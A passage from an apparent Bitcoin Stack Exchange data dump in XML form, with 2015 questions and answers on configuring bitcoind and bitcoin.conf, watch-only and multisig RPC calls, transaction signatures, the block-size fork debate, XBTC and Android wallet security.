feel like I need to understand better.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using bitcoind, at exactly what point will I be generating my ID? I guess it would have to be after I've completed downloading the entire block chain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoind.conf wants me to insert an in-the-clear, plaintext, unencrypted username and password into it that I guess bitcoind will read on startup. Exactly what will those credentials be used for by bitcoind? I know the options are named pretty transparently (rpcuser and rpcpassword) and the man page explains that they are  for JSON-RPC connections. But I have only one binary in my Arch bitcoin-daemon package (/usr/bin/bitcoind), so what client is connecting to my running instance of bitcoind using JSON-RPC connections?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using bitcoind, at exactly what point will the software begin downloading a copy of the entire block chain? I know that's a big file and may take hours or days to complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I want to interact with my locally-stored block chain after it is downloaded, then it seems that I must include at least one uncommented line in ~/.bitcoin/bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...but what will the simplest bitcoin.conf file that I need look like? For example, will I need to uncomment settings for any of these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addnode=&#xA;connect=&#xA;maxconnections=&#xA;rpctimeout=&#xA;rpcssl=&#xA;rpcsslciphers=&#xA;rpcsslcertificatechainfile=&#xA;rpcsslprivatekeyfile=&#xA;keypool=&#xA;paytxfee=&#xA;min=&#xA;minimizetotray=&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are other people using for paytxfee, and aside from what bitcoin.conf says, (&quot;Transactions with fees are more likely than free transactions to be included in generated blocks, so may be validated sooner.&quot;), why would I set this value to something other than 0.00 (and what is that number anyway? a percentage? so if I set it to 1.00 that is 1.00%)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My main problem in understanding now is just connecting the specific settings in bitcoin.conf to my abstract understanding of how the Bitcoin network functions. I think I have a general understanding of the latter, but how to implement the specific concepts of the latter using the settings of the former is not at all obvious to me and after many hours of study, I don't see a clear explanation of it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm hoping someone here can shed some light on these issues. After all the questions I've seen on this site, I'm sure I can't be the only one wondering these things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I considered breaking up this post into 5 or so separate posts and I hope the community will pardon my deciding not to do that. I see all of the several questions above as essentially pieces of the subject question: &quot;How to configure bitcoind in Arch Linux&quot;. That's why I left it as one long post. Again, I beg the pardon of the community if that is regarded as a regrettable decision.&lt;/p&gt;&#xA;" OwnerUserId="3005" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-02-23T19:24:36.697" Title="How to configure bitcoind in Arch Linux" Tags="|bitcoind|linux|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36145" PostTypeId="2" ParentId="36144" CreationDate="2015-02-20T09:45:21.703" Score="2" Body="&lt;p&gt;Although I think it's too early to tell for sure, it appears that I now have a good deal more informative reading that I've found &lt;a href=&quot;https://bitcoin.org/en/developer-examples&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I suspect that these documents will eventually help me understand the correct answers to all my questions above. I hadn't realized that my questions were essentially developer questions before now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd still enjoy seeing more user-oriented documentation that would help me understand my questions, so if anyone has any thoughts to share, I'd still welcome them. I do not by any means consider this to be a definitive answer to my several questions above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These words (though currently not quite complete as they do not mention bitcoin-cli): &quot;There are two variations of the original bitcoin program available; one with a graphical user interface (usually referred to as just “Bitcoin” [or bitcoin-qt]), and a 'headless' version (called bitcoind). They are &lt;strong&gt;completely compatible with each other, and take the same command-line arguments, read the same configuration file, and read and write the same data files. You can run one copy of either Bitcoin [aka bitcoin-qt] or bitcoind on your system at a time&lt;/strong&gt; (if you accidently try to launch another, the copy will let you know that Bitcoin or bitcoind is already running and will exit).&quot; from &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; were also &lt;strong&gt;extremely&lt;/strong&gt; helpful to me. They helped me see that to get started, I don't even need to worry about the settings in the bitcoin.conf config file. I can install both bitcoin-qt and bitcoind, start up with bitcoin-qt initially, and then shut it down later in favor of bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for Arch Linux at least, I now think it's best to install all three packages:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;bitcoind&lt;/li&gt;&#xA;&lt;li&gt;bitcoin-cli&lt;/li&gt;&#xA;&lt;li&gt;bitcoin-qt&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And these are all part of the upstream software called Bitcoin Core used for &lt;strong&gt;complete transparency&lt;/strong&gt; and a wallet stored locally (arguably the best security) on &lt;strong&gt;my computer&lt;/strong&gt; rather than on someone else's computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But one &lt;strong&gt;really valuable&lt;/strong&gt; tip I just discovered a few minutes ago is that there's a fairly recent copy of the (21 GB) entire block chain available as a &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory#Bootstrapping_the_blockchain_from_a_snapshot_distributed_through_BitTorrent&quot; rel=&quot;nofollow&quot;&gt;torrent file&lt;/a&gt;. And in light of that discovery, it's clear to me that to get started as quickly as possible with a local wallet, I should completely download this torrent of the block chain first. And then and &lt;strong&gt;only THEN&lt;/strong&gt; should I fire up bitcoind or bitcoin-qt to have that 21GB block chain validated or verified or whatever the correct term is for that. This saves me download time and it saves the Bitcoin network bandwidth from direct downloads via bitcoind or bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a detailed procedure for this in the Arch Linux &lt;a href=&quot;https://wiki.archlinux.org/index.php/Bitcoin#Installation&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki page&lt;/a&gt; that I've reproduced below to improve this answer.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify at least 80GB (22GB * 3 copies + 14GB worth of additional blocks via bitcoind/bitcoin-qt) of free disk space is available&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install gnupg, deluge, bitcoin-qt, bitcoin-daemon, and bitcoin-cli from the official repositories&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a browser, download README.txt, bootstrap.dat.torrent, bootstrap.dat.torrent.gpg, and bootstrap.txt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using gnupg, verify the downloaded files as having good signatures (you'll need to first import the signer's public key ID A2DB9CCA)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using deluge, download the 22GB bootstrap.dat (perhaps hours depending on your download data rate)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When bootstrap.dat download is complete:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;leave deluge running until seeding is complete (optional but it helps the community; may require hours or days depending on your upload data rate)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy (don't move or you'll interrupt seeding) bootstrap.dat to ~/.bitcoin (don't use a symbolic link as this file will get renamed by bitcoin-qt after it is fully imported, and that too will interrupt seeding)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;start bitcoind for background import or bitcoin-qt for import with feedback on progress&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoin-qt begins importing the block chain from bootstrap.dat, giving visual and text feedback as to import progress (&quot;Importing from disk...&quot; and eg. &quot;4 years and 24 weeks behind&quot;, etc.; this import from disk may require more than one hour)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the import process duplicates the 22GB bootstrap.dat file into ~/.bitcoin/blocks/, thus roughly doubling the size of ~/.bitcoin from 22GB before starting Bitcoin Core to 44GB after import is complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After import from disk is complete&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoin-qt will show &quot;Synchronizing with network...&quot; and eg. &quot;22 weeks behind...&quot; (a wired network connection here will speed this part of the process but several hours to complete synchronization with network is typical)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the bootstrap.dat file gets renamed to bootstrap.dat.old&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it should now be safe to remove bootstrap.dat.old from ~/.bitcoin, but a cautious approach would be to wait until your locally stored block chain is fully synchronized with the network&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;quit bitcoin-qt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then remove ~/.bitcoin/bootstrap.dat.old&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After bitcoin-qt indicates that the local copy of the block chain is fully synchronized with the network (~/.bitcoin/blocks filled 34GB in Feb 02015, then consider quitting bitcoin-qt and do either one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;start bitcoind to keep the block chain synchronized; feedback as to block chain status can then be had using bitcoin-cli without the additional memory required of bitcoin-qt.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;restart bitcoin-qt running as a minimized window ($ bitcoin-qt -min). Note however that some people have found this commandline argument does not work as advertised.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider making a backup of your wallet.dat file using bitcoin-qt.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See the official Bitcoin wiki for additional guidance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3005" LastEditorUserId="3005" LastEditDate="2015-02-23T19:24:36.697" LastActivityDate="2015-02-23T19:24:36.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36146" PostTypeId="1" CreationDate="2015-02-20T11:35:42.663" Score="0" ViewCount="492" Body="&lt;p&gt;I run bitcoind on AWS on Ubuntu. The machine has 4Gb of memory and &lt;code&gt;free&lt;/code&gt; shows some of it remains free. Enough disk space too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, I have to manually restart bitcoind quite often, because sending JSON-RPC requests returns a timeout error. That is, at first they do work, but then they don't. No matter what kind of request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever come across this? Why does it happen? Does anybody have a plausible theory?&lt;/p&gt;&#xA;" OwnerUserId="2583" LastActivityDate="2015-04-08T15:07:23.753" Title="Bitcoind becomes non-responsive over JSON-RPC, have to manually restart all the time" Tags="|bitcoind|json-rpc|ubuntu|amazon-web-services|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36149" PostTypeId="2" ParentId="35976" CreationDate="2015-02-20T15:12:35.970" Score="1" Body="&lt;p&gt;Answering my own question: appears I have uncovered a bug in electrum. The password I was entering was incorrect: the last 2 characters were wrong. However if I entered a completely wrong password I did get an &quot;incorrect password&quot; error, and the seed dialogue did not open. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discovered by virtue of the command line console which did report incorrect password error when I entered the first wrong-by-two characters password. &lt;/p&gt;&#xA;" OwnerUserId="7561" LastActivityDate="2015-02-20T15:12:35.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36150" PostTypeId="1" AcceptedAnswerId="36180" CreationDate="2015-02-20T16:13:30.007" Score="1" ViewCount="394" Body="&lt;p&gt;I am trying to import a 2-of-3 multisignature address into my bitcoind wallet, watch-only. I have the public keys, but not the private keys. Two potential bitcoind JSON-RPC calls that seem to fit are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli addmultisigaddress 2 [&quot;pubkey1&quot;, &quot;pubkey2&quot;, &quot;pubkey3&quot;] &quot;my_account&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli importaddress &quot;multisig-ed_address&quot; &quot;my_account&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume &lt;code&gt;&quot;multisig-ed_address&quot; == multisig(&quot;pubkey1&quot;, &quot;pubkey2&quot;, &quot;pubkey3&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these equivalent? Would they both work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference I can find is that &lt;code&gt;importaddress&lt;/code&gt; has an option to rescan the blockchain for transactions that might have involved the imported address. Does &lt;code&gt;addmultisigaddress&lt;/code&gt; rescan or not?&lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-02-22T20:22:46.277" Title="Difference between RPC calls addmultisigaddress and importaddress" Tags="|json-rpc|multi-signature|watch-only|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36151" PostTypeId="2" ParentId="22152" CreationDate="2015-02-20T16:29:11.007" Score="7" Body="&lt;p&gt;As of bitcoind v10, there is support for watch-only addresses. A bitcoin address is sufficient. The bitcoin-cli command is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli importaddress &quot;address&quot; ( &quot;label&quot; rescan )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;&quot;address&quot;&lt;/code&gt; is the address you wish to watch, &lt;code&gt;&quot;label&quot;&lt;/code&gt; is an optional label for the the address, and &lt;code&gt;&quot;rescan&quot;&lt;/code&gt; is a boolean of whether bitcoind should rescan all previous transactions for activity relating to &lt;code&gt;&quot;address&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example in bitcoin-cli's documentation of the JSON-RPC command is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;importaddress&quot;, &quot;params&quot;: [&quot;myaddress&quot;, &quot;testing&quot;, false] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/doc/release-notes/release-notes-0.10.0.md#watch-only-wallet-support&quot; rel=&quot;noreferrer&quot;&gt;Release notes for watch-only wallet support&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18227" LastEditorUserId="2116" LastEditDate="2015-06-21T17:10:26.543" LastActivityDate="2015-06-21T17:10:26.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36152" PostTypeId="1" AcceptedAnswerId="36153" CreationDate="2015-02-20T17:05:13.030" Score="1" ViewCount="4544" Body="&lt;p&gt;Trying to get my head around her royal Bitcoin here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that blocks of transactions are broadcast to the network, and that miners verify that the BC is 'spendable' by trawling the blockchain and following the wallet address's transaction history (or at least I assume that's how it works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how does one actually verify that the BC transaction has been signed by it's owner when the miners don't have access to the private key? To put it simpler, how can verification take place without processing &lt;strong&gt;&lt;em&gt;both&lt;/em&gt;&lt;/strong&gt; the public and private keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm probably misunderstanding PKI encryption, but (say) with SSH, the private key would be on a trusted server and verification would take place on that server. How can that possibly work in a distributed network?&lt;/p&gt;&#xA;" OwnerUserId="24398" LastActivityDate="2015-05-18T16:22:30.487" Title="How can transactions be verified without the private key?" Tags="|private-key|public-key|verification|transaction-verification|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36153" PostTypeId="2" ParentId="36152" CreationDate="2015-02-20T19:35:59.773" Score="3" Body="&lt;p&gt;Bitcoin transactions are not encrypted, they are cryptographically signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a public/private keypair 2 ways:&#xA;(massive simplification warning)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Encrypt a message using a public key and then decrypt it with a private key&lt;/li&gt;&#xA;&lt;li&gt;Sign a message using a private key and validate the signature with the public key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second method is the one that is used by Bitcoin. A message is placed in the distributed ledger that bitcoins have been sent from X to Y (and typically Z), and signed by the private key of X. X is the source bitcoin address, Y is the destination, and Z is the change address.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2015-02-20T19:35:59.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36154" PostTypeId="1" CreationDate="2015-02-20T20:04:52.170" Score="1" ViewCount="1145" Body="&lt;p&gt;I want a wallet on my Android phone that is rooted. I'm new to Bitcoin and I'd like to know which one is technically secure.&lt;/p&gt;&#xA;" OwnerUserId="19228" LastEditorUserId="5406" LastEditDate="2016-01-05T13:16:58.633" LastActivityDate="2016-01-05T13:16:58.633" Title="As of Feb 2015, what's the most technically secure wallet for Android?" Tags="|security|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36155" PostTypeId="2" ParentId="36146" CreationDate="2015-02-20T21:05:48.480" Score="0" Body="&lt;p&gt;I have observed that if the HTTP client sending the JSON-RPC request does not send a &lt;code&gt;Connection: close&lt;/code&gt; header then the bitcoind RPC server stops responding after a number of calls. &lt;/p&gt;&#xA;" OwnerUserId="15232" LastActivityDate="2015-02-20T21:05:48.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36157" PostTypeId="1" CreationDate="2015-02-21T02:23:31.430" Score="6" ViewCount="271" Body="&lt;p&gt;On &lt;a href=&quot;http://trilema.com/2015/lets-address-some-of-the-more-common-pseudo-arguments-raised-by-the-very-stupid-people-that-like-the-gavin-scamcoin-proposal/&quot; rel=&quot;nofollow&quot;&gt;his blog&lt;/a&gt;, Mircea Popescu claims the old chain will have an advantage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;The situation here is aggravated by the fact that the fork proposed is not simply nondeterministic behaviour, and so the holdings on the two chains aren't notionally equivalent. Instead, all the holdings on the Bitcoin chain are accepted as valid on both Bitcoin and Gavincoin, but holdings on Gavincoin are rejected by Bitcoin. Consequently, everyone involved with the fork is writing options to everyone in Bitcoin, free of charge.&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He makes similar claims &lt;a href=&quot;http://qntra.net/2015/01/the-hard-fork-missile-crisis/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;    mircea_popescu: ben_vulpes if one block's large and the other small, all i need a tx that's included in the large block but not the small one. then doublespend it on the small one, which will be rejected necessarily by the large block blockchain.&#xA;&lt;br/&gt;&#xA;    mircea_popescu: now i have bitcoin separated in two addresses, one for each chain.&#xA;&lt;br/&gt;&#xA;    mircea_popescu: the attempt may fail, but the cost to me of this failure is not significant, so i can keep on trying until it succeeds.&#xA;&lt;br/&gt;&#xA;    mircea_popescu: &lt;b&gt;the only way to guard against it is, obviously,for the .&quot;large&quot; chain to maintain 1:1 identity with the &quot;small&quot; one. because you don't just fork bitcoin.,&lt;/b&gt;&#xA;&lt;br/&gt;&#xA;    ben_vulpes: i still fail to see how you're going to make a txn that gets included in the large block chain and not the small block chain.&#xA;&lt;br/&gt;&#xA;    artifexd: ben_vulpes: You don't. You keep sending money to yourself until it happens.&#xA;&lt;br/&gt;&#xA;    mircea_popescu: ben_vulpes what do you mean ? it necessarily will occur.&#xA;&lt;br/&gt;&#xA;    mircea_popescu: since one contains more txn than the other by definition.&#xA;&lt;br/&gt;&#xA;    mircea_popescu: suppose i make 50k 1btc txn. they don't fit in a 1mn block. they do fit in a 10mb block. what now ?&#xA;&lt;/blockquote&gt;  &#xA;&#xA;&lt;p&gt;I'm skeptical of these claims -- but how exactly is he wrong?  &lt;/p&gt;&#xA;" OwnerUserId="24427" LastEditorUserId="5406" LastEditDate="2015-05-08T10:01:54.467" LastActivityDate="2017-11-06T16:11:41.557" Title="If there is a block-size hard fork, will the old chain have an advantage?" Tags="|blockchain-fork|scalability|block-size-increase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36159" PostTypeId="2" ParentId="36157" CreationDate="2015-02-21T05:37:22.137" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If there is a block-size hard fork, will the old chain have an advantage?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is partially true, but it is not as grave a problem as the writer would have us believe. It would be much more problematic if the implementation of increasing the block size were done very poorly and discretely (such as just putting out a new client with the MAX_BLOCK_SIZE parameter changed), but there will be a more continuous process to switch over to using larger block sizes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://gavintech.blogspot.com/?m=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavin's proposal&lt;/a&gt;, nodes that aim to eventually allow larger block sizes will start using blocks with nVersion set to 4. When a supermajority is obtained, in this case meaning that 800 of the last 1000 blocks signal support for the larger block size limit proposal by using nVersion = 4, then the network will start actually relaxing the 1 MB limit to somewhere around 16 MB. From there, every 2 years the block size limit will double. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Aside: I think it would be beneficial to have a grace period after the supermajority is obtained to allow miners in the losing side of the hard fork to update their software. I have commented on Gavin's blog post but haven't heard back, I'm sure he is very busy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This proposal essentially puts the decision to use a higher block size limit to a vote on the network. &lt;strong&gt;However, until the supermajority is obtained, all nodes will still enforce the 1 MB block size limit.&lt;/strong&gt; Thus, nodes that embrace the hard fork will not be at a disadvantage at all before the network supermajority is obtained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the network supermajority is obtained, technically blocks &amp;lt; 1MB will be accepted by all nodes, and blocks with size 1MB &amp;lt; size &amp;lt; 16MB will only be accepted by 80%. But by this point 80% of the network has already committed to allowing larger block sizes. If the nodes with the old rule don't update, they will be on the losing side of the fork and will be working on a slower-growing chain than the main chain. The old network's chain could be accepted by the new network (if they could create block fast enough to overtake the new chain), while the main network's chain could not be accepted by the old network because it breaks consensus rules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible that the supermajority will never be obtained due to lack of support among the mining community. I would hope this does not happen. My personal opinion is that miners who are rationally trying to make a profit should make using Bitcoin as easy as possible (while still preventing spam) so that new people who want to join the ecosystem can do so painlessly and without having to wait hours for their transaction to be confirmed. More users bringing in buying pressure means the bitcoins mined will be worth more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coincidentally, according to &lt;a href=&quot;http://www.poll-maker.com/results233857xDa614c79-9#tab-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;a recent survey&lt;/a&gt;, Gavin has about 80% support among the community for his proposal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36085/what-are-the-arguments-for-and-against-the-increase-of-the-block-size-limit&quot;&gt;What are the arguments for and against the increase of the block size limit?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-21T19:57:35.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36160" PostTypeId="1" AcceptedAnswerId="36162" CreationDate="2015-02-21T08:07:33.993" Score="2" ViewCount="5377" Body="&lt;p&gt;What is xbtc? I saw many articles refered xbtc,just like &quot;btc to xbtc&quot;. But there's no material telling what it exactly is.&lt;/p&gt;&#xA;" OwnerUserId="24431" LastActivityDate="2015-12-25T03:17:06.197" Title="What exactly is XBTC?" Tags="|terminology|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36161" PostTypeId="2" ParentId="36154" CreationDate="2015-02-21T08:35:57.237" Score="1" Body="&lt;p&gt;It's a difficult question to answer because an Android rooted device is never going to be secure 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, the safest options will be 2FA enabled wallets at a bare minimum, and multisig solutions being the best bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://GreenAddress.it&quot; rel=&quot;nofollow&quot;&gt;GreenAddress.it&lt;/a&gt; allows for wallet functionality on par with&lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot; title=&quot;BCI&quot;&gt;Blockchain.info&lt;/a&gt; but with increased security through &lt;em&gt;P2Script&lt;/em&gt; using &lt;em&gt;ntimelock&lt;/em&gt;. It also allows for 2FA: be sure to use TOTP (eg Google Authenticator); &lt;strong&gt;do not use the same device for mobile SMS authentication&lt;/strong&gt; since intercepting sms on a rooted device is extremely simple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;GreenBits is a new app which integrates with GreenAddress and utilises 2FA and &lt;em&gt;P2Script&lt;/em&gt; also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options like &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot; title=&quot;BCI&quot;&gt;BCI&lt;/a&gt; and Mycelium are not ideal for a rooted phone as the security concerns make either choice quite vulnerable to being emptied by malicious software stealing the pin code. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-06-23T06:30:33.080" LastActivityDate="2015-06-23T06:30:33.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36162" PostTypeId="2" ParentId="36160" CreationDate="2015-02-21T08:55:39.537" Score="0" Body="&lt;p&gt;XBTC is an asset representation of BTC in &lt;a href=&quot;http://en.wikipedia.org/wiki/Counterparty_%28technology%29&quot; rel=&quot;nofollow&quot;&gt;Counterparty&lt;/a&gt;.&lt;br&gt;&#xA;Apparently, you could send Bitcoin to a Counterparty gateway, and get the same amount of XBTC back in turn. These could then be traded for other Counterparty assets. The operator of that gateway claimed that it was cheaper to trade thusly than on Bitcoin exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found an announcement for a XBTC gateway here: &lt;a href=&quot;https://forums.counterparty.io/discussion/404/ann-xbtc-gateway-released&quot; rel=&quot;nofollow&quot;&gt;XBTC Gateway released&lt;/a&gt;. It appears to me that the service has since been &lt;a href=&quot;https://forums.counterparty.io/discussion/761/quick-buy-update-from-vennd-io&quot; rel=&quot;nofollow&quot;&gt;shut down due to regulatory concerns&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-02-21T08:55:39.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36163" PostTypeId="1" AcceptedAnswerId="36168" CreationDate="2015-02-21T09:17:43.717" Score="1" ViewCount="1067" Body="&lt;p&gt;We often hear proponents, like Andreas Antonopoulos, say things along the lines of Bitcoin being an application of the Blockchain technology and that Bitcoin as a currency can fail, but blockchain technology will continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the blockchain is only secure (and therefore useful) if there is a large enough and diverse enough (e.g. no one with &gt;50% of the mining power) network of miners securing the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the USD to BTC value goes down too low, or Bitcoin as a currency (for whatever reason) fails, the miners will stop mining. Is it therefore possible that this could then make the bitcoin blockchain technology insecure and put the other applications built on top of the blockchain technology at risk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess one might say, what Andreas means is that new blockchain mining networks, independent of bitcoin could be setup. But what makes the bitcoin blockchain so good, is because the network of miners is so large (and therefore so secure), is it not?&lt;/p&gt;&#xA;" OwnerUserId="14514" LastEditorUserId="18196" LastEditDate="2015-02-21T19:47:50.840" LastActivityDate="2015-03-06T06:39:33.157" Title="If bitcoin fails as a currency, how will blockchain tech still be secure for other applications?" Tags="|blockchain|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36166" PostTypeId="2" ParentId="36163" CreationDate="2015-02-21T14:05:12.143" Score="2" Body="&lt;p&gt;I understand it exactly the same way as you .. the currency needs to be worth the time and effort of the miners or at least the have to believe it is in the long run.&lt;/p&gt;&#xA;" OwnerUserId="24434" LastActivityDate="2015-02-21T14:05:12.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
